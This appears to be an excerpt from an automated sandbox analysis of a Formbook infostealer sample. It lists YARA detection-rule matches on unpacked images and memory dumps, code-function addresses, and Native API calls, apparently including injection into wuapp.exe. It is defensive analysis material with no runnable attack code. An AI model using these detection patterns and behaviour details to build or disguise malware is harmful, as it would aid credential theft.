Source: 6.0.yldnat.exe.400000.9.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 6.0.yldnat.exe.400000.9.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 6.2.yldnat.exe.400000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 6.2.yldnat.exe.400000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 6.0.yldnat.exe.400000.5.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 6.0.yldnat.exe.400000.5.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 6.0.yldnat.exe.400000.7.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 6.0.yldnat.exe.400000.7.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000008.00000002.1175423013.00000000001C0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000008.00000002.1175423013.00000000001C0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000008.00000002.1175517654.0000000000270000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000008.00000002.1175517654.0000000000270000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000005.00000002.983399787.0000000000120000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000005.00000002.983399787.0000000000120000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000006.00000000.982109510.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000006.00000000.982109510.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000007.00000000.1012975505.000000000B8A4000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000007.00000000.1012975505.000000000B8A4000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000006.00000002.1032166526.0000000000240000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000006.00000002.1032166526.0000000000240000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000006.00000002.1032215807.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000006.00000002.1032215807.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000008.00000002.1175360038.0000000000110000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000008.00000002.1175360038.0000000000110000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000007.00000000.1024425011.000000000B8A4000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000007.00000000.1024425011.000000000B8A4000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000006.00000002.1032081329.00000000000C0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000006.00000002.1032081329.00000000000C0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000006.00000000.981158681.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000006.00000000.981158681.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research

Source: C:\Users\Public\vbc.exe

Code function: 4_2_00403646 EntryPoint,SetErrorMode,GetVersionExW,GetVersionExW,GetVersionExW,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,ExitProcess,OleUninitialize,ExitProcess,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,

4_2_00403646

Source: C:\Users\user\AppData\Local\Temp\yldnat.exe	Code function: 5_2_013B1890	5_2_013B1890
Source: C:\Users\user\AppData\Local\Temp\yldnat.exe	Code function: 5_2_013BC3BD	5_2_013BC3BD
Source: C:\Users\user\AppData\Local\Temp\yldnat.exe	Code function: 5_2_013BA184	5_2_013BA184
Source: C:\Users\user\AppData\Local\Temp\yldnat.exe	Code function: 5_2_013BB3F1	5_2_013BB3F1
Source: C:\Users\user\AppData\Local\Temp\yldnat.exe	Code function: 5_2_013B9C12	5_2_013B9C12
Source: C:\Users\user\AppData\Local\Temp\yldnat.exe	Code function: 5_2_013B96A0	5_2_013B96A0
Source: C:\Users\user\AppData\Local\Temp\yldnat.exe	Code function: 5_2_013B7E88	5_2_013B7E88
Source: C:\Users\user\AppData\Local\Temp\yldnat.exe	Code function: 5_2_00110A41	5_2_00110A41
Source: C:\Users\user\AppData\Local\Temp\yldnat.exe	Code function: 6_2_00401030	6_2_00401030
Source: C:\Users\user\AppData\Local\Temp\yldnat.exe	Code function: 6_2_0041E1F5	6_2_0041E1F5
Source: C:\Users\user\AppData\Local\Temp\yldnat.exe	Code function: 6_2_0041E9FF	6_2_0041E9FF
Source: C:\Users\user\AppData\Local\Temp\yldnat.exe	Code function: 6_2_00409220	6_2_00409220
Source: C:\Users\user\AppData\Local\Temp\yldnat.exe	Code function: 6_2_0040DBC0	6_2_0040DBC0
Source: C:\Users\user\AppData\Local\Temp\yldnat.exe	Code function: 6_2_0041DBBD	6_2_0041DBBD
Source: C:\Users\user\AppData\Local\Temp\yldnat.exe	Code function: 6_2_00402D89	6_2_00402D89
Source: C:\Users\user\AppData\Local\Temp\yldnat.exe	Code function: 6_2_00402D90	6_2_00402D90
Source: C:\Users\user\AppData\Local\Temp\yldnat.exe	Code function: 6_2_0041EF50	6_2_0041EF50
Source: C:\Users\user\AppData\Local\Temp\yldnat.exe	Code function: 6_2_0041DF0D	6_2_0041DF0D
Source: C:\Users\user\AppData\Local\Temp\yldnat.exe	Code function: 6_2_0041E79A	6_2_0041E79A
Source: C:\Users\user\AppData\Local\Temp\yldnat.exe	Code function: 6_2_00402FB0	6_2_00402FB0
Source: C:\Users\user\AppData\Local\Temp\yldnat.exe	Code function: 6_2_013BA184	6_2_013BA184
Source: C:\Users\user\AppData\Local\Temp\yldnat.exe	Code function: 6_2_013B1890	6_2_013B1890
Source: C:\Users\user\AppData\Local\Temp\yldnat.exe	Code function: 6_2_013BC3BD	6_2_013BC3BD
Source: C:\Users\user\AppData\Local\Temp\yldnat.exe	Code function: 6_2_013BB3F1	6_2_013BB3F1
Source: C:\Users\user\AppData\Local\Temp\yldnat.exe	Code function: 6_2_013B9C12	6_2_013B9C12
Source: C:\Users\user\AppData\Local\Temp\yldnat.exe	Code function: 6_2_013B96A0	6_2_013B96A0
Source: C:\Users\user\AppData\Local\Temp\yldnat.exe	Code function: 6_2_013B7E88	6_2_013B7E88
Source: C:\Users\user\AppData\Local\Temp\yldnat.exe	Code function: 6_2_0086E0C6	6_2_0086E0C6
Source: C:\Users\user\AppData\Local\Temp\yldnat.exe	Code function: 6_2_0089D005	6_2_0089D005
Source: C:\Users\user\AppData\Local\Temp\yldnat.exe	Code function: 6_2_00873040	6_2_00873040
Source: C:\Users\user\AppData\Local\Temp\yldnat.exe	Code function: 6_2_0088905A	6_2_0088905A
Source: C:\Users\user\AppData\Local\Temp\yldnat.exe	Code function: 6_2_0086E2E9	6_2_0086E2E9
Source: C:\Users\user\AppData\Local\Temp\yldnat.exe	Code function: 6_2_00911238	6_2_00911238
Source: C:\Users\user\AppData\Local\Temp\yldnat.exe	Code function: 6_2_009163BF	6_2_009163BF
Source: C:\Users\user\AppData\Local\Temp\yldnat.exe	Code function: 6_2_0086F3CF	6_2_0086F3CF
Source: C:\Users\user\AppData\Local\Temp\yldnat.exe	Code function: 6_2_008963DB	6_2_008963DB
Source: C:\Users\user\AppData\Local\Temp\yldnat.exe	Code function: 6_2_00872305	6_2_00872305
Source: C:\Users\user\AppData\Local\Temp\yldnat.exe	Code function: 6_2_00877353	6_2_00877353
Source: C:\Users\user\AppData\Local\Temp\yldnat.exe	Code function: 6_2_008BA37B	6_2_008BA37B
Source: C:\Users\user\AppData\Local\Temp\yldnat.exe	Code function: 6_2_00881489	6_2_00881489
Source: C:\Users\user\AppData\Local\Temp\yldnat.exe	Code function: 6_2_008A5485	6_2_008A5485
Source: C:\Users\user\AppData\Local\Temp\yldnat.exe	Code function: 6_2_008F443E	6_2_008F443E
Source: C:\Users\user\AppData\Local\Temp\yldnat.exe	Code function: 6_2_008AD47D	6_2_008AD47D
Source: C:\Users\user\AppData\Local\Temp\yldnat.exe	Code function: 6_2_0088C5F0	6_2_0088C5F0
Source: C:\Users\user\AppData\Local\Temp\yldnat.exe	Code function: 6_2_0087351F	6_2_0087351F
Source: C:\Users\user\AppData\Local\Temp\yldnat.exe	Code function: 6_2_008B6540	6_2_008B6540
Source: C:\Users\user\AppData\Local\Temp\yldnat.exe	Code function: 6_2_00874680	6_2_00874680
Source: C:\Users\user\AppData\Local\Temp\yldnat.exe	Code function: 6_2_0087E6C1	6_2_0087E6C1
Source: C:\Users\user\AppData\Local\Temp\yldnat.exe	Code function: 6_2_00912622	6_2_00912622
Source: C:\Users\user\AppData\Local\Temp\yldnat.exe	Code function: 6_2_008BA634	6_2_008BA634
Source: C:\Users\user\AppData\Local\Temp\yldnat.exe	Code function: 6_2_008F579A	6_2_008F579A
Source: C:\Users\user\AppData\Local\Temp\yldnat.exe	Code function: 6_2_0087C7BC	6_2_0087C7BC
Source: C:\Users\user\AppData\Local\Temp\yldnat.exe	Code function: 6_2_008A57C3	6_2_008A57C3
Source: C:\Windows\SysWOW64\wuapp.exe	Code function: 8_2_01EAE0C6	8_2_01EAE0C6
Source: C:\Windows\SysWOW64\wuapp.exe	Code function: 8_2_01F2D06D	8_2_01F2D06D
Source: C:\Windows\SysWOW64\wuapp.exe	Code function: 8_2_01EB3040	8_2_01EB3040
Source: C:\Windows\SysWOW64\wuapp.exe	Code function: 8_2_01EC905A	8_2_01EC905A
Source: C:\Windows\SysWOW64\wuapp.exe	Code function: 8_2_01EDD005	8_2_01EDD005
Source: C:\Windows\SysWOW64\wuapp.exe	Code function: 8_2_01EAF3CF	8_2_01EAF3CF
Source: C:\Windows\SysWOW64\wuapp.exe	Code function: 8_2_01ED63DB	8_2_01ED63DB
Source: C:\Windows\SysWOW64\wuapp.exe	Code function: 8_2_01F563BF	8_2_01F563BF
Source: C:\Windows\SysWOW64\wuapp.exe	Code function: 8_2_01EFA37B	8_2_01EFA37B
Source: C:\Windows\SysWOW64\wuapp.exe	Code function: 8_2_01EB7353	8_2_01EB7353
Source: C:\Windows\SysWOW64\wuapp.exe	Code function: 8_2_01EB2305	8_2_01EB2305
Source: C:\Windows\SysWOW64\wuapp.exe	Code function: 8_2_01EAE2E9	8_2_01EAE2E9
Source: C:\Windows\SysWOW64\wuapp.exe	Code function: 8_2_01F51238	8_2_01F51238
Source: C:\Windows\SysWOW64\wuapp.exe	Code function: 8_2_01F305E3	8_2_01F305E3
Source: C:\Windows\SysWOW64\wuapp.exe	Code function: 8_2_01ECC5F0	8_2_01ECC5F0
Source: C:\Windows\SysWOW64\wuapp.exe	Code function: 8_2_01EF6540	8_2_01EF6540
Source: C:\Windows\SysWOW64\wuapp.exe	Code function: 8_2_01EB351F	8_2_01EB351F
Source: C:\Windows\SysWOW64\wuapp.exe	Code function: 8_2_01EC1489	8_2_01EC1489
Source: C:\Windows\SysWOW64\wuapp.exe	Code function: 8_2_01EE5485	8_2_01EE5485
Source: C:\Windows\SysWOW64\wuapp.exe	Code function: 8_2_01EED47D	8_2_01EED47D
Source: C:\Windows\SysWOW64\wuapp.exe	Code function: 8_2_01F3443E	8_2_01F3443E
Source: C:\Windows\SysWOW64\wuapp.exe	Code function: 8_2_01EE57C3	8_2_01EE57C3
Source: C:\Windows\SysWOW64\wuapp.exe	Code function: 8_2_01EBC7BC	8_2_01EBC7BC
Source: C:\Windows\SysWOW64\wuapp.exe	Code function: 8_2_01F3579A	8_2_01F3579A
Source: C:\Windows\SysWOW64\wuapp.exe	Code function: 8_2_01EBE6C1	8_2_01EBE6C1
Source: C:\Windows\SysWOW64\wuapp.exe	Code function: 8_2_01EB4680	8_2_01EB4680
Source: C:\Windows\SysWOW64\wuapp.exe	Code function: 8_2_01F52622	8_2_01F52622
Source: C:\Windows\SysWOW64\wuapp.exe	Code function: 8_2_01EFA634	8_2_01EFA634
Source: C:\Windows\SysWOW64\wuapp.exe	Code function: 8_2_01EC69FE	8_2_01EC69FE
Source: C:\Windows\SysWOW64\wuapp.exe	Code function: 8_2_01EB29B2	8_2_01EB29B2
Source: C:\Windows\SysWOW64\wuapp.exe	Code function: 8_2_01F5098E	8_2_01F5098E
Source: C:\Windows\SysWOW64\wuapp.exe	Code function: 8_2_01F35955	8_2_01F35955
Source: C:\Windows\SysWOW64\wuapp.exe	Code function: 8_2_01F3394B	8_2_01F3394B
Source: C:\Windows\SysWOW64\wuapp.exe	Code function: 8_2_01F4F8EE	8_2_01F4F8EE
Source: C:\Windows\SysWOW64\wuapp.exe	Code function: 8_2_01F2F8C4	8_2_01F2F8C4
Source: C:\Windows\SysWOW64\wuapp.exe	Code function: 8_2_01ED286D	8_2_01ED286D
Source: C:\Windows\SysWOW64\wuapp.exe	Code function: 8_2_01EBC85C	8_2_01EBC85C
Source: C:\Windows\SysWOW64\wuapp.exe	Code function: 8_2_01F3DBDA	8_2_01F3DBDA
Source: C:\Windows\SysWOW64\wuapp.exe	Code function: 8_2_01F5CBA4	8_2_01F5CBA4
Source: C:\Windows\SysWOW64\wuapp.exe	Code function: 8_2_01ED7B00	8_2_01ED7B00
Source: C:\Windows\SysWOW64\wuapp.exe	Code function: 8_2_01F63A83	8_2_01F63A83
Source: C:\Windows\SysWOW64\wuapp.exe	Code function: 8_2_01F4FDDD	8_2_01F4FDDD
Source: C:\Windows\SysWOW64\wuapp.exe	Code function: 8_2_01EBCD5B	8_2_01EBCD5B
Source: C:\Windows\SysWOW64\wuapp.exe	Code function: 8_2_01EE0D3B	8_2_01EE0D3B
Source: C:\Windows\SysWOW64\wuapp.exe	Code function: 8_2_01F22FDC	8_2_01F22FDC
Source: C:\Windows\SysWOW64\wuapp.exe	Code function: 8_2_01F4CFB1	8_2_01F4CFB1
Source: C:\Windows\SysWOW64\wuapp.exe	Code function: 8_2_01EDDF7C	8_2_01EDDF7C
Source: C:\Windows\SysWOW64\wuapp.exe	Code function: 8_2_01EC0F3F	8_2_01EC0F3F
Source: C:\Windows\SysWOW64\wuapp.exe	Code function: 8_2_01ECEE4C	8_2_01ECEE4C
Source: C:\Windows\SysWOW64\wuapp.exe	Code function: 8_2_01EE2E2F	8_2_01EE2E2F
Source: C:\Windows\SysWOW64\wuapp.exe	Code function: 8_2_0012E1BE	8_2_0012E1BE
Source: C:\Windows\SysWOW64\wuapp.exe	Code function: 8_2_0012E1EB	8_2_0012E1EB
Source: C:\Windows\SysWOW64\wuapp.exe	Code function: 8_2_00119220	8_2_00119220
Source: C:\Windows\SysWOW64\wuapp.exe	Code function: 8_2_0012E79A	8_2_0012E79A
Source: C:\Windows\SysWOW64\wuapp.exe	Code function: 8_2_0012E9FF	8_2_0012E9FF
Source: C:\Windows\SysWOW64\wuapp.exe	Code function: 8_2_0011DBC0	8_2_0011DBC0
Source: C:\Windows\SysWOW64\wuapp.exe	Code function: 8_2_00112D90	8_2_00112D90
Source: C:\Windows\SysWOW64\wuapp.exe	Code function: 8_2_00112D89	8_2_00112D89
Source: C:\Windows\SysWOW64\wuapp.exe	Code function: 8_2_0012DEF7	8_2_0012DEF7
Source: C:\Windows\SysWOW64\wuapp.exe	Code function: 8_2_00112FB0	8_2_00112FB0

Source: C:\Users\user\AppData\Local\Temp\yldnat.exe	Code function: String function: 008DF970 appears 41 times
Source: C:\Users\user\AppData\Local\Temp\yldnat.exe	Code function: String function: 008B373B appears 112 times
Source: C:\Users\user\AppData\Local\Temp\yldnat.exe	Code function: String function: 008B3F92 appears 59 times
Source: C:\Users\user\AppData\Local\Temp\yldnat.exe	Code function: String function: 013B4599 appears 38 times
Source: C:\Users\user\AppData\Local\Temp\yldnat.exe	Code function: String function: 0086DF5C appears 59 times
Source: C:\Users\user\AppData\Local\Temp\yldnat.exe	Code function: String function: 013B2400 appears 54 times
Source: C:\Windows\SysWOW64\wuapp.exe	Code function: String function: 01EADF5C appears 121 times
Source: C:\Windows\SysWOW64\wuapp.exe	Code function: String function: 01F1F970 appears 84 times
Source: C:\Windows\SysWOW64\wuapp.exe	Code function: String function: 01EF373B appears 245 times
Source: C:\Windows\SysWOW64\wuapp.exe	Code function: String function: 01EF3F92 appears 132 times
Source: C:\Windows\SysWOW64\wuapp.exe	Code function: String function: 01EAE2A8 appears 38 times

Source: C:\Users\user\AppData\Local\Temp\yldnat.exe	Code function: 6_2_0041A2D0 NtCreateFile,	6_2_0041A2D0
Source: C:\Users\user\AppData\Local\Temp\yldnat.exe	Code function: 6_2_0041A380 NtReadFile,	6_2_0041A380
Source: C:\Users\user\AppData\Local\Temp\yldnat.exe	Code function: 6_2_0041A400 NtClose,	6_2_0041A400
Source: C:\Users\user\AppData\Local\Temp\yldnat.exe	Code function: 6_2_0041A4B0 NtAllocateVirtualMemory,	6_2_0041A4B0
Source: C:\Users\user\AppData\Local\Temp\yldnat.exe	Code function: 6_2_0041A2CA NtCreateFile,	6_2_0041A2CA
Source: C:\Users\user\AppData\Local\Temp\yldnat.exe	Code function: 6_2_0041A28A NtCreateFile,	6_2_0041A28A
Source: C:\Users\user\AppData\Local\Temp\yldnat.exe	Code function: 6_2_0041A4AA NtAllocateVirtualMemory,	6_2_0041A4AA
Source: C:\Users\user\AppData\Local\Temp\yldnat.exe	Code function: 6_2_008600C4 NtCreateFile,LdrInitializeThunk,	6_2_008600C4
Source: C:\Users\user\AppData\Local\Temp\yldnat.exe	Code function: 6_2_00860048 NtProtectVirtualMemory,LdrInitializeThunk,	6_2_00860048
Source: C:\Users\user\AppData\Local\Temp\yldnat.exe	Code function: 6_2_00860078 NtResumeThread,LdrInitializeThunk,	6_2_00860078
Source: C:\Users\user\AppData\Local\Temp\yldnat.exe	Code function: 6_2_008607AC NtCreateMutant,LdrInitializeThunk,	6_2_008607AC
Source: C:\Users\user\AppData\Local\Temp\yldnat.exe	Code function: 6_2_0085F9F0 NtClose,LdrInitializeThunk,	6_2_0085F9F0
Source: C:\Users\user\AppData\Local\Temp\yldnat.exe	Code function: 6_2_0085F900 NtReadFile,LdrInitializeThunk,	6_2_0085F900
Source: C:\Users\user\AppData\Local\Temp\yldnat.exe	Code function: 6_2_0085FAD0 NtAllocateVirtualMemory,LdrInitializeThunk,	6_2_0085FAD0
Source: C:\Users\user\AppData\Local\Temp\yldnat.exe	Code function: 6_2_0085FAE8 NtQueryInformationProcess,LdrInitializeThunk,	6_2_0085FAE8
Source: C:\Users\user\AppData\Local\Temp\yldnat.exe	Code function: 6_2_0085FBB8 NtQueryInformationToken,LdrInitializeThunk,	6_2_0085FBB8
Source: C:\Users\user\AppData\Local\Temp\yldnat.exe	Code function: 6_2_0085FB68 NtFreeVirtualMemory,LdrInitializeThunk,	6_2_0085FB68
Source: C:\Users\user\AppData\Local\Temp\yldnat.exe	Code function: 6_2_0085FC90 NtUnmapViewOfSection,LdrInitializeThunk,	6_2_0085FC90
Source: C:\Users\user\AppData\Local\Temp\yldnat.exe	Code function: 6_2_0085FC60 NtMapViewOfSection,LdrInitializeThunk,	6_2_0085FC60
Source: C:\Users\user\AppData\Local\Temp\yldnat.exe	Code function: 6_2_0085FD8C NtDelayExecution,LdrInitializeThunk,	6_2_0085FD8C
Source: C:\Users\user\AppData\Local\Temp\yldnat.exe	Code function: 6_2_0085FDC0 NtQuerySystemInformation,LdrInitializeThunk,	6_2_0085FDC0
Source: C:\Users\user\AppData\Local\Temp\yldnat.exe	Code function: 6_2_0085FEA0 NtReadVirtualMemory,LdrInitializeThunk,	6_2_0085FEA0
Source: C:\Users\user\AppData\Local\Temp\yldnat.exe	Code function: 6_2_0085FED0 NtAdjustPrivilegesToken,LdrInitializeThunk,	6_2_0085FED0
Source: C:\Users\user\AppData\Local\Temp\yldnat.exe	Code function: 6_2_0085FFB4 NtCreateSection,LdrInitializeThunk,	6_2_0085FFB4
Source: C:\Users\user\AppData\Local\Temp\yldnat.exe	Code function: 6_2_008610D0 NtOpenProcessToken,	6_2_008610D0
Source: C:\Users\user\AppData\Local\Temp\yldnat.exe	Code function: 6_2_00860060 NtQuerySection,	6_2_00860060
Source: C:\Users\user\AppData\Local\Temp\yldnat.exe	Code function: 6_2_008601D4 NtSetValueKey,	6_2_008601D4
Source: C:\Users\user\AppData\Local\Temp\yldnat.exe	Code function: 6_2_0086010C NtOpenDirectoryObject,	6_2_0086010C
Source: C:\Users\user\AppData\Local\Temp\yldnat.exe	Code function: 6_2_00861148 NtOpenThread,	6_2_00861148
Source: C:\Windows\SysWOW64\wuapp.exe	Code function: 8_2_01EA00C4 NtCreateFile,LdrInitializeThunk,	8_2_01EA00C4
Source: C:\Windows\SysWOW64\wuapp.exe	Code function: 8_2_01EA07AC NtCreateMutant,LdrInitializeThunk,	8_2_01EA07AC
Source: C:\Windows\SysWOW64\wuapp.exe	Code function: 8_2_01E9F9F0 NtClose,LdrInitializeThunk,	8_2_01E9F9F0
Source: C:\Windows\SysWOW64\wuapp.exe	Code function: 8_2_01E9F900 NtReadFile,LdrInitializeThunk,	8_2_01E9F900
Source: C:\Windows\SysWOW64\wuapp.exe	Code function: 8_2_01E9FBB8 NtQueryInformationToken,LdrInitializeThunk,	8_2_01E9FBB8
Source: C:\Windows\SysWOW64\wuapp.exe	Code function: 8_2_01E9FB68 NtFreeVirtualMemory,LdrInitializeThunk,	8_2_01E9FB68
Source: C:\Windows\SysWOW64\wuapp.exe	Code function: 8_2_01E9FB50 NtCreateKey,LdrInitializeThunk,	8_2_01E9FB50
Source: C:\Windows\SysWOW64\wuapp.exe	Code function: 8_2_01E9FAE8 NtQueryInformationProcess,LdrInitializeThunk,	8_2_01E9FAE8
Source: C:\Windows\SysWOW64\wuapp.exe	Code function: 8_2_01E9FAD0 NtAllocateVirtualMemory,LdrInitializeThunk,	8_2_01E9FAD0
Source: C:\Windows\SysWOW64\wuapp.exe	Code function: 8_2_01E9FAB8 NtQueryValueKey,LdrInitializeThunk,	8_2_01E9FAB8
